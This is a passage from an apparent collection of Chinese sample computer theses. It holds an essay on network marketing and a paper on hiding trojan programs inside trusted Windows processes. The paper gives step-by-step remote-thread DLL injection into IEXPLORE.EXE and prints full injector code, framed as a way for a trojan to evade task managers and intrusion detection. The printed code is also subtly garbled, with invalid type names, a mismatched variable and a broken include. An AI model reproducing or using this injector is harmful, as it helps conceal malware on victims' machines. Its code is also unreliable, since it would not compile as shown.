最后,还要向PC的商家寻求网络设计和软件技术支持及详细的技术资料,至于选用几层工作站,依你的系统大小而定。

计算机毕业论文范文5

网络营销是一种以消费者为导向,强调个人化的营销方式

网络营销最大的特点在于以消费者为主导。消费者将拥有比过去更大的选择自由,他们可根据自己的个性特点和需求在全球范围内寻找满足品,不受地域限制。通过进入感兴趣的的企业网址或虚拟商店,消费者可获取产品的更多的相关信息,使购物更显个性。

这种个性消费的发展将促使企业重新考虑其营销战略以消费者的个性需求作为提品及服务的出发点。但是,要真正实现个性营销还必须解决庞大的促销费用问题。网络营销的出现则为这一难题提供了可行的解决途径。企业的各种销售信息在网络上将以数字化的形式存在,可以以极底的成本发送并能随时根据需要进行修改,庞大的促销费用因而得以节省。企业也可以根据消费者反馈的信息和要求通过自动服务系统提供特别服务。

网络营销具有极强的互动性是实现全程营销的理想工具

传统的传统的营销管理强调4P(产品、价格、渠道和促销)组合,现代营销管理则追求4C(顾客、成本、方便和沟通),然而无论那一种观念都必须基于这样一个前提:企业必须实行全程营销,即必须由产品的设计阶段开始就充分考虑消费者的需求和意愿。

遗憾的是,在实际操作中这一点往往难以做到。原因在于消费者与企业之间缺乏合适的沟通渠道或沟通成本太高。消费者一般只能针对现有产品提出建议或批评,对尚处于概念阶段的产品难以涉足。此外,大多数的中小企业也缺乏足够的资本用于了解消费者的各种潜在需求,他们只能凭自身能力或参照市场领导者的策略进行产品开发。

而在网络环境下,这一状况将有所改观。即使是中小企业也可以通过电子布告栏、线上讨论广场和电子邮件等方式,以极底成本在营销的全过程中对消费者进行即时的信息搜索,消费者则有机会对产品从设计到定价(对采用理解价值定价法的企业尤为重要)和服务等一系列问题发表意见。这种双向互动的沟通方式提高了消费者的参与性与积极性,更重要的是它能使、企业的决策有的放矢,从根本上提高消费者满意度。

网络营销能满足消费者对购物方便性的需求,提高消费者的购物效率

现代化的生活节奏已使消费者用于外出在商店购物的时间越来越短。在传统的购物方式中,从商品买卖过程来看,一般需要经过看样棗选择商品棗确定所需购买的商品棗付款结算棗包装商品棗取货(或送货)等一系列过程。这个买卖过程大多数是在售货地点完成的,短则几分钟,长则数个小时,在加上购买为购买商品去购物场所的路途时间、购买后的返途时间及在购买地的逗留时间,无疑是大大延长了商品的买卖过程,使消费者为购买商品而在时间和精力上作出很大的付出。同时,拥挤的交通和日益扩大的店面更延长了消费者购物所耗费的时间和精力。然而,在现代社会,随着生活节奏的加快,使得人们越来越珍惜闲暇时间,越来越希望在闲暇时间内从事一些有益于身心的活动,并充分地享受生活。在这中情况下,人们用于外出购物的时间越来越少。

计算机毕业论文范文6

摘要进程的隐藏一直是木马程序设计者不断探求的重要技术,本文采用远程线程技术,通过动态链接库方法,较好地解决了这一问题,通过远程线程将木马作为线程隐藏在其他进程中,从而达到隐藏的目的。

关键字进程线程木马动态链接库

木马程序(也称后门程序)是能被控制的运行在远程主机上的程序,由于木马程序是运行在远程主机上,所以进程的隐藏无疑是大家关心的焦点。

本文分析了WindowsNT/2000系统下进程隐藏的基本技术和方法,并着重讨论运用线程嫁接技术如何实现WindowsNT/2000系统中进程的隐藏。

1基本原理

在WIN95/98中,只需要将进程注册为系统服务就能够从进程查看器中隐形,可是这一切在WindowsNT/2000中却完全不同,无论木马从端口、启动文件上如何巧妙地隐藏自己,始终都不能躲过WindowsNT/2000的任务管理器,WindowsNT/2000的任务管理器均能轻松显示出木马进程,难道在WindowsNT/2000下木马真的再也无法隐藏自己的进程了?我们知道,在WINDOWS系统下,可执行文件主要是Exe和Com文件,这两种文件在运行时都有一个共同点,会生成一个独立的进程,寻找特定进程是我们发现木马的方法之一,随着入侵检测软件的不断发展,关联进程和SOCKET已经成为流行的技术,假设一个木马在运行时被检测软件同时查出端口和进程,我们基本上认为这个木马的隐藏已经完全失败。在WindowsNT/2000下正常情况用户进程对于系统管理员来说都是可见的,要想做到木马的进程隐藏,有两个办法,第一是让系统管理员看不见你的进程;第二是不使用进程。本文以第二种方法为例加以讨论,其基本原理是将自已的木马以线程方式嫁接于远程进程之中,远程进程则是合法的用户程序,这样用户管理者看到的只是合法进程,而无法发现木马线程的存在,从而达到隐藏的目的。

2实现方法

为了弄清实现方法,我们必须首先了解Windows系统的另一种"可执行文件"----DLL,DLL是DynamicLinkLibrary(动态链接库)的缩写,DLL文件是Windows的基础,因为所有的API函数都是在DLL中实现的。DLL文件没有程序逻辑,是由多个功能函数构成,它并不能独立运行,一般都是由进程加载并调用的。因为DLL文件不能独立运行,所以在进程列表中并不会出现DLL,假设我们编写了一个木马DLL,并且通过别的进程来运行它,那么无论是入侵检测软件还是进程列表中,都只会出现那个进程而并不会出现木马DLL,如果那个进程是可信进程,(例如浏览器程序IEXPLORE.EXE,没人会怀疑它是木马吧?)那么我们编写的DLL作为那个进程的一部分,也将成为被信赖的一员,也就达到了隐藏的目的。

运行DLL方法有多种,但其中最隐蔽的方法是采用动态嵌入技术,动态嵌入技术指的是将自己的代码嵌入正在运行的进程中的技术。理论上来说,在Windows中的每个进程都有自己的私有内存空间,别的进程是不允许对这个私有空间进行操作的,但是实际上,我们仍然可以利用种种方法进入并操作进程的私有内存。动态嵌入技术有多种如:窗口Hook、挂接API、远程线程等,这里介绍一下远程线程技术,它只要有基本的进线程和动态链接库的知识就可以很轻松地完成动态嵌入。

远程线程技术指的是通过在另一个进程中创建远程线程的方法进入那个进程的内存地址空间。我们知道,在进程中,可以通过CreateThread函数创建线程,被创建的新线程与主线程(就是进程启动时被同时自动建立的那个线程)共享地址空间以及其他的资源。但是很少有人知道,通过CreateRemoteThread也同样可以在另一个进程内创建新线程,被创建的远程线程同样可以共享远程进程(是远程进程)的地址空间,所以,实际上,我们通过一个远程线程,进入了远程进程的内存地址空间,也就拥有了那个远程进程相当的权限。

3实施步骤

1)用Process32Next()函数找到宿主进程,获取宿主进程ID,并用

OpenProcess()函数打开宿主进程。

2)用VirtualAllocEx()函数分配远程进程地址空间中的

内存。

3)用WriteProcessMemory()函数将待隐藏的DLL的路径名。

4)拷贝到步骤二已经分配的内存中。

5)用GetProcAddress()函数获取LoadlibraryA()函数的实地址(在kernel32.dll中)。

6)用CreateRemoteThread()函数在远程进程中创建一个线程。

7)它调用正确的LoadlibraryA()函数。

8)为它传递步骤二中分配的内存地址。

4具体实例

下面是在C++Builder4.0环境下编写的运用远程线程技术隐藏木马的程序代码:

#include<vcl.h>

#include<windows.h>

#include<stdio.h>

#include<tlhelp32.h>//该头文件包涵了进程操作的API函数

#pragmahdrstop

#include"Unit1.h"

#pragmapackage(smart_init)

#pragmaresource"*.dfm"

InsistingpszLibFileName;//存放待隐藏的DLL文件名

HANDLEhProcessSnap=NULL;//进程快照句柄

HANDLEhRemoteProcess;//远程进程句柄

LPVOIDpszLibFileRemote;//远程进程中分配给文件名的空间

HMODULEphmd;//存放kernel32.dll句柄

HANDLEhRemoteThread1=NULL;//存放远程线程句柄

TForm1*Form1;

//---------------------------------------------------------

__fastcallTForm1::TForm1(TComponent*Owner)

:TForm(Owner)

{

}

//---------------------------------------------------------

void__fastcallTForm1::Button1Click(TObject*Sender

{

PROCESSENTRY32pe32={0};

DWORDdwRemoteProcessId;

hProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);

//打开进程快照

if(hProcessSnap==(HANDLE)-1)

{

MessageBox(NULL,"CreateToolhelp32Snapshotfailed","",MB_OK);

exit(0);

}//失败返回

pe32.dwSize=sizeof(PROCESSENTRY32);

if(Process32Fi

rst(hProcessSnap,&pe32))//获取第一个进程

{

do{

AnsiStringte;

te=pe32.szExeFile;

if(te.Pos("iexplore.exe")||te.Pos("IEXPLORE.EXE"))

//找到宿主进程,以IEXPLORE.EXE为例

{dwRemoteProcessId=pe32.th32ProcessID;

break;

}

}

while(Process32Next(hProcessSnap,&pe32));//获取下一个进程

}

else

{

MessageBox(NULL,"取第一个进程失败","",MB_OK);

exit(0);

}

hRemoteProcess=OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM

_OPERATION|PROCESS_VM_WRITE,FALSE,dwRemoteProcessId);

//打开远程进程

pszLibFileName=GetCurrentDir()+"\\"+"hide.dll";

//假设hide.dll是待隐藏的进程

intcb=(1+pszLibFileName.Length())*sizeof(char);//计算dll文件名长度

pszLibFileRemote=(PWSTR)VirtualAllocEx(hRemoteProcess,NULL,cb,

MEM_COMMIT,PAGE_READWRITE);

//申请存放文件名的空间

BOOLReturnCode=WriteProcessMemory(hRemoteProcess,

pszLibFileRemote,(LPVOID)pszLibFileName.c_str(),cb,NULL);

//把dll文件名写入申请的空间

phmd=GetModuleHandle("kernel32.dll");

LPTHREAD_START_ROUTINEfnStartAddr=(LPTHREAD_START_ROUTINE)

GetProcAddress(phmd,"LoadLibraryA");

//获取动态链接库函数地址

hRemoteThread1=CreateRemoteThread(hRemoteProcess,NULL,0,

pfnStartAddr,pszLibFileRemote,0,NULL);

//创建远程线

if(hRemoteThread1!=NULL)

CloseHandle(hRemoteThread1);//关闭远程线程

if(hProcessSnap!=NULL)

CloseHandle(hProcessSnap);//关闭进程快照

}

该程序编译后命名为RmtDll.exe,运行时点击界面上的按钮即可。

至此,远程嵌入顺利完成,为了试验我们的hide.dll是不是已经正常地在远程线程运行,我同样在C++Builder4.0环境下编写并编译了下面的hide.dll作为测试:

nclude<vcl.h>

#include<windows.h>

#pragmahdrstop

#pragmaargsused

BOOLWINAPIDllEntryPoint(HINSTANCEhinst,unsignedlongreason,void*lpReserved)

{

charszProcessId[64];

switch(reason)

{

caseDLL_PROCESS_ATTACH:

{//获取当前进程ID

itoa(GetCurrentProcessId(),szProcessId,10);

MessageBox(NULL,szProcessId,"RemoteDLL",MB_OK);

break;

}

default:

}

returnTRUE;

}

当使用RmtDll.exe程序将这个hide.dll嵌入IEXPLORE.EXE进程后假设PID=1208),该测试DLL弹出了1208字样的确认框,同时使用PS工具

也能看到:

ProcessID:1208

C:\WINNT\IEXPLORE.EXE(0x00400000)

……

C:\WINNT\hide.dll(0x100000000)

……

这证明hide.dll已经在IEXPLORE.EXE进程内正确地运行了。上面程序的头文件由编译器自动生成,未作改动,故略之。

5结束语

进程隐藏技术和方法有很多,而且这一技术发展也相当快,本文仅从一个侧面加以讨论,希望通过这一探讨让我们对进程隐藏技术有一个更清楚的认识,同时也为我们防范他人利用进程隐藏手段非法入侵提供参考,本文抛砖引玉,不当之处诚恳批评指正。

参考文献